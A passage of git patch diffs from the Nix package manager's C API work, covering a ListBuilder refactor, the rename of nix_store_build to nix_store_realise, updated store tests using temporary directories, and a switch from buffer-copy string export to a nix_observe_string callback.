nix_alloc_value(nix_c_context * context, EvalState * state); * @param[in] value Nix value to inspect * @return type of nix value */ + ValueType nix_get_type(nix_c_context * context, const Value * value); /** @brief Get type name of value as defined in the evaluator * @param[out] context Optional, stores error information @@ -149,6 +151,7 @@ ValueType nix_get_type(nix_c_context * context, const Value * value); * @return type name, owned string * @todo way to free the result */ + const char * nix_get_typename(nix_c_context * context, const Value * value); /** @brief Get boolean value @@ -290,24 +293,24 @@ nix_err nix_init_bool(nix_c_context * context, Value * value, bool b); * @param[in] str the string, copied * @return error code, NIX_OK on success. */ - nix_err nix_init_string(nix_c_context * context, Value * value, const char * str); + /** @brief Set a path * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] str the path string, copied * @return error code, NIX_OK on success. */ +nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * value, const char * str); -nix_err nix_init_path_string(nix_c_context * context, Value * value, const char * str); /** @brief Set a float * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] d the float, 64-bits * @return error code, NIX_OK on success. */ - nix_err nix_init_float(nix_c_context * context, Value * value, double d); + /** @brief Set an int * @param[out] context Optional, stores error information * @param[out] value Nix value to modify diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index a93e531b6..794451d82 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -897,11 +897,6 @@ void Value::mkStringMove(const char * s, const NixStringContext & context) copyContextToValue(*this, context); } -void Value::mkPath(std::string_view path) -{ - mkPath(makeImmutableString(path)); -} - void Value::mkPath(const SourcePath & path) { mkPath(&*path.accessor, makeImmutableString(path.path.abs())); diff --git a/tests/unit/libexpr/nix_api_external.cc b/tests/unit/libexpr/nix_api_external.cc index 1f190d9c8..68766fd47 100644 --- a/tests/unit/libexpr/nix_api_external.cc +++ b/tests/unit/libexpr/nix_api_external.cc @@ -31,7 +31,6 @@ private: static void type_of_function(void * self, nix_string_return * res) { - std::cout << self << std::endl; MyExternalValueDesc * obj = static_cast(self); std::string type_string = "nix-externallast_err, err_msg_ref); } -TEST_F(nix_api_util_context, nix_set_err_msg) { +TEST_F(nix_api_util_context, nix_set_err_msg) +{ ASSERT_EQ(ctx->last_err_code, NIX_OK); nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "unknown test error"); ASSERT_EQ(ctx->last_err_code, NIX_ERR_UNKNOWN); ASSERT_EQ(*ctx->last_err, "unknown test error"); } -TEST(nix_api_util, nix_version_get) { +TEST(nix_api_util, nix_version_get) +{ ASSERT_EQ(std::string(nix_version_get()), PACKAGE_VERSION); } @@ -77,9 +80,10 @@ TEST_F(nix_api_util_context, nix_setting_set) ASSERT_STREQ("new-value", value); } -TEST_F(nix_api_util_context, nix_err_msg) { +TEST_F(nix_api_util_context, nix_err_msg) +{ // no error - EXPECT_THROW(nix_err_msg(NULL, ctx, NULL), nix::Error); + EXPECT_THROW(nix_err_msg(nullptr, ctx, NULL), nix::Error); // set error nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "unknown test error"); @@ -90,46 +94,49 @@ TEST_F(nix_api_util_context, nix_err_msg) { // advanced usage unsigned int sz; - err_msg = nix_err_msg(NULL, ctx, &sz); + err_msg = nix_err_msg(nix_c_context_create(), ctx, &sz); ASSERT_EQ(sz, err_msg.size()); } -TEST_F(nix_api_util_context, nix_err_info_msg) { +TEST_F(nix_api_util_context, nix_err_info_msg) +{ // no error EXPECT_THROW(nix_err_info_msg(NULL, ctx, NULL, 256), nix::Error); try { throw nix::Error("testing error"); - } catch(...) { + } catch (...) { nix_context_error(ctx); } char buf[256]; - nix_err_info_msg(NULL, ctx, buf, 256); + nix_err_info_msg(nix_c_context_create(), ctx, buf, 256); ASSERT_EQ(std::string(buf), "testing error"); // should overflow EXPECT_THROW(nix_err_info_msg(NULL, ctx, buf, 1), nix::Error); } -TEST_F(nix_api_util_context, nix_err_name) { +TEST_F(nix_api_util_context, nix_err_name) +{ // no error EXPECT_THROW(nix_err_name(NULL, ctx, NULL, 256), nix::Error); std::string err_msg_ref; try { throw nix::Error("testing error"); - } catch(...) { + } catch (...) { nix_context_error(ctx); } char err_name[32]; - nix_err_name(NULL, ctx, err_name, 32); + nix_err_name(nix_c_context_create(), ctx, err_name, 32); ASSERT_EQ(std::string(err_name), "nix::Error"); // overflow EXPECT_THROW(nix_err_name(NULL, ctx, err_name, 1), nix::Error); } -TEST_F(nix_api_util_context, nix_err_code) { +TEST_F(nix_api_util_context, nix_err_code) +{ ASSERT_EQ(nix_err_code(ctx), NIX_OK); nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "unknown test error"); ASSERT_EQ(nix_err_code(ctx), NIX_ERR_UNKNOWN); From 34d15e8f2fb0d653474d5cadc6725086649cfdf2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Tue, 27 Feb 2024 18:09:38 +0100 Subject: [PATCH 0365/1251] C API: rename nix_store_build -> nix_store_realise --- src/libstore/c/nix_api_store.cc | 2 +- src/libstore/c/nix_api_store.h | 2 +- tests/unit/libexpr/nix_api_expr.cc | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/libstore/c/nix_api_store.cc b/src/libstore/c/nix_api_store.cc index d6602471d..c997019f9 100644 --- a/src/libstore/c/nix_api_store.cc +++ b/src/libstore/c/nix_api_store.cc @@ -100,7 +100,7 @@ StorePath * nix_store_parse_path(nix_c_context * context, Store * store, const c NIXC_CATCH_ERRS_NULL } -nix_err nix_store_build( +nix_err nix_store_realise( nix_c_context * context, Store * store, StorePath * path, diff --git a/src/libstore/c/nix_api_store.h b/src/libstore/c/nix_api_store.h index e6d88026b..28544fa90 100644 --- a/src/libstore/c/nix_api_store.h +++ b/src/libstore/c/nix_api_store.h @@ -118,7 +118,7 @@ bool nix_store_is_valid_path(nix_c_context * context, Store * store, StorePath * * @param[in] userdata data to pass to every callback invocation * @param[in] callback called for every realised output */ -nix_err nix_store_build( +nix_err nix_store_realise( nix_c_context * context, Store * store, StorePath * path, diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index d14e90097..103156744 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -85,7 +85,7 @@ TEST_F(nix_api_expr_test, nix_build_drv) StorePath * outStorePath = nix_store_parse_path(ctx, store, outPath); ASSERT_EQ(false, nix_store_is_valid_path(nullptr, store, outStorePath)); - nix_store_build(ctx, store, drvStorePath, nullptr, nullptr); + nix_store_realise(ctx, store, drvStorePath, nullptr, nullptr); // TODO figure out why fails. // `make libexpr-tests_RUN` works, but `nix build .` fails From 1a574c6c6051d20a2a737606cf0f4df581f024ab Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Tue, 27 Feb 2024 22:08:00 +0100 Subject: [PATCH 0366/1251] C API: refactor ListBuilder --- src/libexpr/c/nix_api_expr_internal.h | 32 ++++++++++++++++++++++++ src/libexpr/c/nix_api_value.cc | 36 ++++----------------------- src/libexpr/c/nix_api_value.h | 17 +++++++++---- tests/unit/libexpr/nix_api_value.cc | 2 +- 4 files changed, 50 insertions(+), 37 deletions(-) diff --git a/src/libexpr/c/nix_api_expr_internal.h b/src/libexpr/c/nix_api_expr_internal.h index 352ac496f..2b066ecff 100644 --- a/src/libexpr/c/nix_api_expr_internal.h +++ b/src/libexpr/c/nix_api_expr_internal.h @@ -3,6 +3,33 @@ #include "eval.hh" #include "attr-set.hh" +#include "nix_api_value.h" + +class CListBuilder +{ +private: + std::vector values; + +public: + CListBuilder(size_t capacity) + { + values.reserve(capacity); + } + + void push_back(nix::Value * value) + { + values.push_back(value); + } + + Value * finish(nix::EvalState * state, nix::Value * list) + { + state->mkList(*list, values.size()); + for (size_t n = 0; n < list->listSize(); ++n) { + list->listElems()[n] = values[n]; + } + return list; + } +}; struct EvalState { @@ -14,6 +41,11 @@ struct BindingsBuilder nix::BindingsBuilder builder; }; +struct ListBuilder +{ + CListBuilder builder; +}; + struct nix_string_return { std::string str; diff --git a/src/libexpr/c/nix_api_value.cc b/src/libexpr/c/nix_api_value.cc index 740751beb..1faf05611 100644 --- a/src/libexpr/c/nix_api_value.cc +++ b/src/libexpr/c/nix_api_value.cc @@ -17,32 +17,6 @@ #include "gc_cpp.h" #endif -class ListBuilder -{ -private: - std::vector values; - -public: - ListBuilder(size_t capacity) - { - values.reserve(capacity); - } - - void push_back(nix::Value * value) - { - values.push_back(value); - } - - Value * finish(nix::EvalState * state, nix::Value * list) - { - state->mkList(*list, values.size()); - for (size_t n = 0; n < list->listSize(); ++n) { - list->listElems()[n] = values[n]; - } - return list; - } -}; - // Helper function to throw an exception if value is null static const nix::Value & check_value_not_null(const Value * value) { @@ -443,7 +417,7 @@ ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state, if (context) context->last_err_code = NIX_OK; try { - auto builder = ListBuilder(capacity); + auto builder = CListBuilder(capacity); return new #if HAVE_BOEHMGC (NoGC) @@ -453,12 +427,12 @@ ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state, NIXC_CATCH_ERRS_NULL } -nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * builder, Value * value) +nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, Value * value) { if (context) context->last_err_code = NIX_OK; try { - builder->push_back((nix::Value *) value); + list_builder->builder.push_back((nix::Value *) value); } NIXC_CATCH_ERRS } @@ -472,13 +446,13 @@ void nix_list_builder_free(ListBuilder * bb) #endif } -nix_err nix_make_list(nix_c_context * context, EvalState * s, Value * value, ListBuilder * b) +nix_err nix_make_list(nix_c_context * context, EvalState * s, ListBuilder * list_builder, Value * value) { if (context) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); - b->finish(&(s->state), &v); + list_builder->builder.finish(&(s->state), &v); } NIXC_CATCH_ERRS } diff --git a/src/libexpr/c/nix_api_value.h b/src/libexpr/c/nix_api_value.h index e3e937e37..b7115c27d 100644 --- a/src/libexpr/c/nix_api_value.h +++ b/src/libexpr/c/nix_api_value.h @@ -46,7 +46,14 @@ typedef struct EvalState EvalState; */ typedef struct BindingsBuilder BindingsBuilder; -typedef class ListBuilder ListBuilder; +/** @brief Stores an under-construction list + * @ingroup value_manip + * + * Do not reuse. + * @see nix_make_list_builder, nix_list_builder_free, nix_make_list + * @see nix_list_builder_insert + */ +typedef struct ListBuilder ListBuilder; /** @brief PrimOp function * @ingroup primops @@ -336,11 +343,11 @@ nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue /** @brief Create a list from a list builder * @param[out] context Optional, stores error information + * @param[in] list_builder list builder to use. Make sure to unref this afterwards. * @param[out] value Nix value to modify - * @param[in] b list builder to use. Make sure to unref this afterwards. * @return error code, NIX_OK on success. */ -nix_err nix_make_list(nix_c_context * context, EvalState * s, Value * value, ListBuilder * b); +nix_err nix_make_list(nix_c_context * context, EvalState * s, ListBuilder * list_builder, Value * value); /** @brief Create a list builder * @param[out] context Optional, stores error information @@ -352,11 +359,11 @@ ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state, /** @brief Insert bindings into a builder * @param[out] context Optional, stores error information - * @param[in] builder ListBuilder to insert into + * @param[in] list_builder ListBuilder to insert into * @param[in] value value to insert * @return error code, NIX_OK on success. */ -nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * builder, Value * value); +nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, Value * value); /** @brief Free a list builder * diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index 2f98297b3..ac28526c8 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -78,7 +78,7 @@ TEST_F(nix_api_expr_test, nix_build_and_init_list) Value * intValue = nix_alloc_value(nullptr, state); nix_init_int(nullptr, intValue, 42); nix_list_builder_insert(nullptr, builder, intValue); - nix_make_list(nullptr, state, value, builder); + nix_make_list(nullptr, state, builder, value); nix_list_builder_free(builder); ASSERT_EQ(42, nix_get_int(nullptr, nix_get_list_byidx(nullptr, value, state, 0))); From 31fbb24329851d4747d64319f62da9c7e77ead35 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Thu, 29 Feb 2024 16:32:49 +0100 Subject: [PATCH 0367/1251] C API: refactor nix_store_realise --- src/libstore/c/nix_api_store.cc | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/src/libstore/c/nix_api_store.cc b/src/libstore/c/nix_api_store.cc index c997019f9..199f5526a 100644 --- a/src/libstore/c/nix_api_store.cc +++ b/src/libstore/c/nix_api_store.cc @@ -5,6 +5,7 @@ #include "path.hh" #include "store-api.hh" +#include "build-result.hh" #include "globals.hh" @@ -110,16 +111,19 @@ nix_err nix_store_realise( if (context) context->last_err_code = NIX_OK; try { - store->ptr->buildPaths({ - nix::DerivedPath::Built{ - .drvPath = nix::makeConstantStorePathRef(path->path), - .outputs = nix::OutputsSpec::All{}, - }, - }); + + const std::vector paths{nix::DerivedPath::Built{ + .drvPath = nix::makeConstantStorePathRef(path->path), .outputs = nix::OutputsSpec::All{}}}; + + const auto nixStore = store->ptr; + auto results = nixStore->buildPathsWithResults(paths, nix::bmNormal, nixStore); + if (callback) { - for (auto & [outputName, outputPath] : store->ptr->queryDerivationOutputMap(path->path)) { - auto op = store->ptr->printStorePath(outputPath); - callback(userdata, outputName.c_str(), op.c_str()); + for (const auto & result : results) { + for (const auto & [outputName, realisation] : result.builtOutputs) { + auto op = store->ptr->printStorePath(realisation.outPath); + callback(userdata, outputName.c_str(), op.c_str()); + } } } } From 940ff6535c293cc3e78f99b806ef55b54eb2a7ab Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Thu, 29 Feb 2024 18:33:07 +0100 Subject: [PATCH 0368/1251] C API: update libstore tests --- tests/unit/libexpr/nix_api_expr.cc | 19 ++++++++++--------- .../libstore-support/tests/nix_api_store.hh | 16 +++++++++++----- tests/unit/libstore/nix_api_store.cc | 18 ++++++++---------- 3 files changed, 29 insertions(+), 24 deletions(-) diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index 103156744..9d54a62f8 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -45,8 +45,9 @@ TEST_F(nix_api_expr_test, nix_expr_eval_drv) nix_value_call(ctx, stateResult, valueFn, value, valueResult); ASSERT_EQ(NIX_TYPE_STRING, nix_get_type(nullptr, valueResult)); - const char * p = nix_get_string(nullptr, valueResult); - ASSERT_STREQ("/nix/store/40s0qmrfb45vlh6610rk29ym318dswdr-myname", p); + std::string p = nix_get_string(nullptr, valueResult); + std::string pEnd = "-myname"; + ASSERT_EQ(pEnd, p.substr(p.size() - pEnd.size())); // Clean up nix_gc_decref(nullptr, valueFn); @@ -73,22 +74,22 @@ TEST_F(nix_api_expr_test, nix_build_drv) ASSERT_EQ(pEnd, p.substr(p.size() - pEnd.size())); StorePath * drvStorePath = nix_store_parse_path(ctx, store, drvPath); - ASSERT_EQ(true, nix_store_is_valid_path(nullptr, store, drvStorePath)); + ASSERT_EQ(true, nix_store_is_valid_path(ctx, store, drvStorePath)); - Value * outPathValue = nix_get_attr_byname(nullptr, value, state, "outPath"); - const char * outPath = nix_get_string(nullptr, outPathValue); + Value * outPathValue = nix_get_attr_byname(ctx, value, state, "outPath"); + const char * outPath = nix_get_string(ctx, outPathValue); p = outPath; pEnd = "-myname"; ASSERT_EQ(pEnd, p.substr(p.size() - pEnd.size())); + ASSERT_EQ(true, drvStorePath->path.isDerivation()); StorePath * outStorePath = nix_store_parse_path(ctx, store, outPath); - ASSERT_EQ(false, nix_store_is_valid_path(nullptr, store, outStorePath)); - - nix_store_realise(ctx, store, drvStorePath, nullptr, nullptr); + ASSERT_EQ(false, nix_store_is_valid_path(ctx, store, outStorePath)); // TODO figure out why fails. - // `make libexpr-tests_RUN` works, but `nix build .` fails + // `make libexpr-tests_RUN` works, but `nix build .` enters an infinite loop + /* nix_store_realise(ctx, store, drvStorePath, nullptr, nullptr); */ /* auto is_valid_path = nix_store_is_valid_path(ctx, store, outStorePath); */ /* ASSERT_EQ(true, is_valid_path); */ diff --git a/tests/unit/libstore-support/tests/nix_api_store.hh b/tests/unit/libstore-support/tests/nix_api_store.hh index 4608dd90d..a8b60fbc3 100644 --- a/tests/unit/libstore-support/tests/nix_api_store.hh +++ b/tests/unit/libstore-support/tests/nix_api_store.hh @@ -24,24 +24,30 @@ public: { nix_store_free(store); - for (auto & path : fs::recursive_directory_iterator(nixStoreDir)) { + for (auto & path : fs::recursive_directory_iterator(nixDir)) { fs::permissions(path, fs::perms::owner_all); } - fs::remove_all(nixStoreDir); + fs::remove_all(nixDir); } Store * store; + std::string nixDir; std::string nixStoreDir; protected: void init_local_store() { auto tmpl = nix::getEnv("TMPDIR").value_or("/tmp") + "/tests_nix-store.XXXXXX"; - nixStoreDir = mkdtemp((char *) tmpl.c_str()); + nixDir = mkdtemp((char *) tmpl.c_str()); + nixStoreDir = nixDir + "/my_nix_store"; // Options documented in `nix help-stores` - const char * p1[] = {"root", nixStoreDir.c_str()}; - const char ** params[] = {p1, nullptr}; + const char * p1[] = {"store", nixStoreDir.c_str()}; + const char * p2[] = {"state", (new std::string(nixDir + "/my_state"))->c_str()}; + const char * p3[] = {"log", (new std::string(nixDir + "/my_log"))->c_str()}; + + const char ** params[] = {p1, p2, p3, nullptr}; + store = nix_store_open(ctx, "local", params); } }; diff --git a/tests/unit/libstore/nix_api_store.cc b/tests/unit/libstore/nix_api_store.cc index 54daf927a..dac7fa910 100644 --- a/tests/unit/libstore/nix_api_store.cc +++ b/tests/unit/libstore/nix_api_store.cc @@ -5,12 +5,10 @@ #include "tests/nix_api_store.hh" -#define STORE_DIR "/nix/store/" -#define HASH_PART "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q" -const char * validPath = STORE_DIR HASH_PART "-x"; - namespace nixC { +std::string PATH_SUFFIX = "/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-name"; + TEST_F(nix_api_util_context, nix_libstore_init) { auto ret = nix_libstore_init(ctx); @@ -33,21 +31,21 @@ TEST_F(nix_api_store_test, InvalidPathFails) TEST_F(nix_api_store_test, ReturnsValidStorePath) { - StorePath * result = nix_store_parse_path(ctx, store, validPath); + StorePath * result = nix_store_parse_path(ctx, store, (nixStoreDir + PATH_SUFFIX).c_str()); ASSERT_NE(result, nullptr); - ASSERT_STREQ("x", result->path.name().data()); - ASSERT_STREQ(HASH_PART "-x", result->path.to_string().data()); + ASSERT_STREQ("name", result->path.name().data()); + ASSERT_STREQ(PATH_SUFFIX.substr(1).c_str(), result->path.to_string().data()); } TEST_F(nix_api_store_test, SetsLastErrCodeToNixOk) { - nix_store_parse_path(ctx, store, validPath); + nix_store_parse_path(ctx, store, (nixStoreDir + PATH_SUFFIX).c_str()); ASSERT_EQ(ctx->last_err_code, NIX_OK); } TEST_F(nix_api_store_test, DoesNotCrashWhenContextIsNull) { - ASSERT_NO_THROW(nix_store_parse_path(nullptr, store, validPath)); + ASSERT_NO_THROW(nix_store_parse_path(ctx, store, (nixStoreDir + PATH_SUFFIX).c_str())); } TEST_F(nix_api_store_test, get_version) @@ -83,7 +81,7 @@ TEST_F(nix_api_util_context, nix_store_open_invalid) TEST_F(nix_api_store_test, nix_store_is_valid_path_not_in_store) { - StorePath * path = nix_store_parse_path(ctx, store, validPath); + StorePath * path = nix_store_parse_path(ctx, store, (nixStoreDir + PATH_SUFFIX).c_str()); ASSERT_EQ(false, nix_store_is_valid_path(ctx, store, path)); } From d96b52bd8bd1b07377fe10633acd121e696cdee7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Wed, 27 Mar 2024 17:50:36 +0100 Subject: [PATCH 0369/1251] C api: nix_export_std_string -> nix_observe_string --- src/libstore/c/nix_api_store.cc | 10 ++--- src/libstore/c/nix_api_store.h | 14 ++++--- src/libutil/c/nix_api_util.cc | 27 ++++++------ src/libutil/c/nix_api_util.h | 37 ++++++++++------ src/libutil/c/nix_api_util_internal.h | 14 +++---- tests/unit/libstore/nix_api_store.cc | 23 ++++++---- .../libutil-support/tests/nix_api_util.hh | 1 + tests/unit/libutil/nix_api_util.cc | 42 ++++++++++--------- 8 files changed, 92 insertions(+), 76 deletions(-) diff --git a/src/libstore/c/nix_api_store.cc b/src/libstore/c/nix_api_store.cc index 199f5526a..93e1626a1 100644 --- a/src/libstore/c/nix_api_store.cc +++ b/src/libstore/c/nix_api_store.cc @@ -56,26 +56,24 @@ void nix_store_free(Store * store) delete store; } -nix_err nix_store_get_uri(nix_c_context * context, Store * store, char * dest, unsigned int n) +nix_err nix_store_get_uri(nix_c_context * context, Store * store, void * callback, void * user_data) { if (context) context->last_err_code = NIX_OK; try { auto res = store->ptr->getUri(); - return nix_export_std_string(context, res, dest, n); + return call_nix_observe_string(res, callback, user_data); } NIXC_CATCH_ERRS } -nix_err nix_store_get_version(nix_c_context * context, Store * store, char * dest, unsigned int n) +nix_err nix_store_get_version(nix_c_context * context, Store * store, void * callback, void * user_data) { if (context) context->last_err_code = NIX_OK; try { auto res = store->ptr->getVersion(); - if (!res) - res = ""; - return nix_export_std_string(context, *res, dest, n); + return call_nix_observe_string(res.value_or(""), callback, user_data); } NIXC_CATCH_ERRS } diff --git a/src/libstore/c/nix_api_store.h b/src/libstore/c/nix_api_store.h index 28544fa90..25175de44 100644 --- a/src/libstore/c/nix_api_store.h +++ b/src/libstore/c/nix_api_store.h @@ -71,11 +71,12 @@ void nix_store_free(Store * store); * @brief get the URI of a nix store * @param[out] context Optional, stores error information * @param[in] store nix store reference - * @param[out] dest The allocated area to write the string to. - * @param[in] n Maximum size of the returned string. + * @param[in] callback Called with the URI. + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. + * @see nix_observe_string * @return error code, NIX_OK on success. */ -nix_err nix_store_get_uri(nix_c_context * context, Store * store, char * dest, unsigned int n); +nix_err nix_store_get_uri(nix_c_context * context, Store * store, void * callback, void * user_data); // returns: owned StorePath* /** @@ -130,11 +131,12 @@ nix_err nix_store_realise( * If the store doesn't have a version (like the dummy store), returns an empty string. * @param[out] context Optional, stores error information * @param[in] store nix store reference - * @param[out] dest The allocated area to write the string to. - * @param[in] n Maximum size of the returned string. + * @param[in] callback Called with the version. + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. + * @see nix_observe_string * @return error code, NIX_OK on success. */ -nix_err nix_store_get_version(nix_c_context *, Store * store, char * dest, unsigned int n); +nix_err nix_store_get_version(nix_c_context * context, Store * store, void * callback, void * user_data); // cffi end #ifdef __cplusplus diff --git a/src/libutil/c/nix_api_util.cc b/src/libutil/c/nix_api_util.cc index 100e3b21d..ed542059d 100644 --- a/src/libutil/c/nix_api_util.cc +++ b/src/libutil/c/nix_api_util.cc @@ -63,16 +63,17 @@ const char * nix_version_get() } // Implementations -nix_err nix_setting_get(nix_c_context * context, const char * key, char * value, int n) + +nix_err nix_setting_get(nix_c_context * context, const char * key, void * callback, void * user_data) { if (context) context->last_err_code = NIX_OK; try { std::map settings; nix::globalConfig.getSettings(settings); - if (settings.contains(key)) - return nix_export_std_string(context, settings[key].value, value, n); - else { + if (settings.contains(key)) { + return call_nix_observe_string(settings[key].value, callback, user_data); + } else { return nix_set_err_msg(context, NIX_ERR_KEY, "Setting not found"); } } @@ -114,24 +115,24 @@ const char * nix_err_msg(nix_c_context * context, const nix_c_context * read_con return nullptr; } -nix_err nix_err_name(nix_c_context * context, const nix_c_context * read_context, char * value, int n) +nix_err nix_err_name(nix_c_context * context, const nix_c_context * read_context, void * callback, void * user_data) { if (context) context->last_err_code = NIX_OK; if (read_context->last_err_code != NIX_ERR_NIX_ERROR) { return nix_set_err_msg(context, NIX_ERR_UNKNOWN, "Last error was not a nix error"); } - return nix_export_std_string(context, read_context->name, value, n); + return call_nix_observe_string(read_context->name, callback, user_data); } -nix_err nix_err_info_msg(nix_c_context * context, const nix_c_context * read_context, char * value, int n) +nix_err nix_err_info_msg(nix_c_context * context, const nix_c_context * read_context, void * callback, void * user_data) { if (context) context->last_err_code = NIX_OK; if (read_context->last_err_code != NIX_ERR_NIX_ERROR) { return nix_set_err_msg(context, NIX_ERR_UNKNOWN, "Last error was not a nix error"); } - return nix_export_std_string(context, read_context->info->msg.str(), value, n); + return call_nix_observe_string(read_context->info->msg.str(), callback, user_data); } nix_err nix_err_code(const nix_c_context * read_context) @@ -140,12 +141,8 @@ nix_err nix_err_code(const nix_c_context * read_context) } // internal -nix_err nix_export_std_string(nix_c_context * context, const std::string_view str, char * dest, unsigned int n) +nix_err call_nix_observe_string(const std::string str, void * callback, void * user_data) { - size_t i = str.copy(dest, n - 1); - dest[i] = 0; - if (i == n - 1) { - return nix_set_err_msg(context, NIX_ERR_OVERFLOW, "Provided buffer too short"); - } else - return NIX_OK; + ((nix_observe_string) callback)(str.c_str(), str.size(), user_data); + return NIX_OK; } diff --git a/src/libutil/c/nix_api_util.h b/src/libutil/c/nix_api_util.h index c288654fd..fc6dc8655 100644 --- a/src/libutil/c/nix_api_util.h +++ b/src/libutil/c/nix_api_util.h @@ -119,6 +119,15 @@ typedef int nix_err; */ typedef struct nix_c_context nix_c_context; +/** + * @brief Called to get the value of a string owned by Nix. + * + * @param[in] start the string to copy. + * @param[in] n the string length. + * @param[in] user_data optional, arbitrary data, passed to the nix_observe_string when it's called. + */ +typedef void (*nix_observe_string)(const char * start, unsigned int n, void * user_data); + // Function prototypes /** @@ -160,14 +169,13 @@ nix_err nix_libutil_init(nix_c_context * context); * * @param[out] context optional, Stores error information * @param[in] key The key of the setting to retrieve. - * @param[out] value A pointer to a buffer where the value of the setting will - * be stored. - * @param[in] n The size of the buffer pointed to by value. - * @return NIX_ERR_KEY if the setting is unknown, NIX_ERR_OVERFLOW if the - * provided buffer is too short, or NIX_OK if the setting was retrieved + * @param[in] callback Called with the setting value. + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. + * @see nix_observe_string + * @return NIX_ERR_KEY if the setting is unknown, or NIX_OK if the setting was retrieved * successfully. */ -nix_err nix_setting_get(nix_c_context * context, const char * key, char * value, int n); +nix_err nix_setting_get(nix_c_context * context, const char * key, void * callback, void * user_data); /** * @brief Sets a setting in the nix global configuration. @@ -227,12 +235,14 @@ const char * nix_err_msg(nix_c_context * context, const nix_c_context * ctx, uns * * @param[out] context optional, the context to store errors in if this function * fails - * @param[in] read_context the context to retrieve the error message from - * @param[out] value The allocated area to write the error string to. - * @param[in] n Maximum size of the returned string. + * @param[in] read_context the context to retrieve the error message from. + * @param[in] callback Called with the error message. + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. + * @see nix_observe_string * @return NIX_OK if there were no errors, an error code otherwise. */ -nix_err nix_err_info_msg(nix_c_context * context, const nix_c_context * read_context, char * value, int n); +nix_err +nix_err_info_msg(nix_c_context * context, const nix_c_context * read_context, void * callback, void * user_data); /** * @brief Retrieves the error name from a context. @@ -245,11 +255,12 @@ nix_err nix_err_info_msg(nix_c_context * context, const nix_c_context * read_con * @param context optional, the context to store errors in if this function * fails * @param[in] read_context the context to retrieve the error message from - * @param[out] value The allocated area to write the error string to. - * @param[in] n Maximum size of the returned string. + * @param[in] callback Called with the error name. + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. + * @see nix_observe_string * @return NIX_OK if there were no errors, an error code otherwise. */ -nix_err nix_err_name(nix_c_context * context, const nix_c_context * read_context, char * value, int n); +nix_err nix_err_name(nix_c_context * context, const nix_c_context * read_context, void * callback, void * user_data); /** * @brief Retrieves the most recent error code from a nix_c_context diff --git a/src/libutil/c/nix_api_util_internal.h b/src/libutil/c/nix_api_util_internal.h index 53c260e35..f91d8c118 100644 --- a/src/libutil/c/nix_api_util_internal.h +++ b/src/libutil/c/nix_api_util_internal.h @@ -20,16 +20,16 @@ nix_err nix_context_error(nix_c_context * context); /** * Internal use only. * - * Export a std::string across the C api boundary + * Helper to invoke nix_observe_string * @param context optional, the context to store errors in if this function * fails - * @param str The string to export - * @param value The allocated area to write the string to. - * @param n Maximum size of the returned string. - * @return NIX_OK if there were no errors, NIX_ERR_OVERFLOW if the string length - * exceeds `n`. + * @param str The string to observe + * @param callback Called with the observed string. + * @param user_data optional, arbitrary data, passed to the callback when it's called. + * @return NIX_OK if there were no errors. + * @see nix_observe_string */ -nix_err nix_export_std_string(nix_c_context * context, const std::string_view str, char * dest, unsigned int n); +nix_err call_nix_observe_string(const std::string str, void * callback, void * user_data); #define NIXC_CATCH_ERRS \ catch (...) \ diff --git a/tests/unit/libstore/nix_api_store.cc b/tests/unit/libstore/nix_api_store.cc index dac7fa910..a31d66a4c 100644 --- a/tests/unit/libstore/nix_api_store.cc +++ b/tests/unit/libstore/nix_api_store.cc @@ -7,6 +7,11 @@ namespace nixC { +void observe_string_cb(const char * start, unsigned int n, std::string * user_data) +{ + *user_data = std::string(start); +} + std::string PATH_SUFFIX = "/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-name"; TEST_F(nix_api_util_context, nix_libstore_init) @@ -17,10 +22,10 @@ TEST_F(nix_api_util_context, nix_libstore_init) TEST_F(nix_api_store_test, nix_store_get_uri) { - char value[256]; - auto ret = nix_store_get_uri(ctx, store, value, 256); + std::string str; + auto ret = nix_store_get_uri(ctx, store, (void *) observe_string_cb, &str); ASSERT_EQ(NIX_OK, ret); - 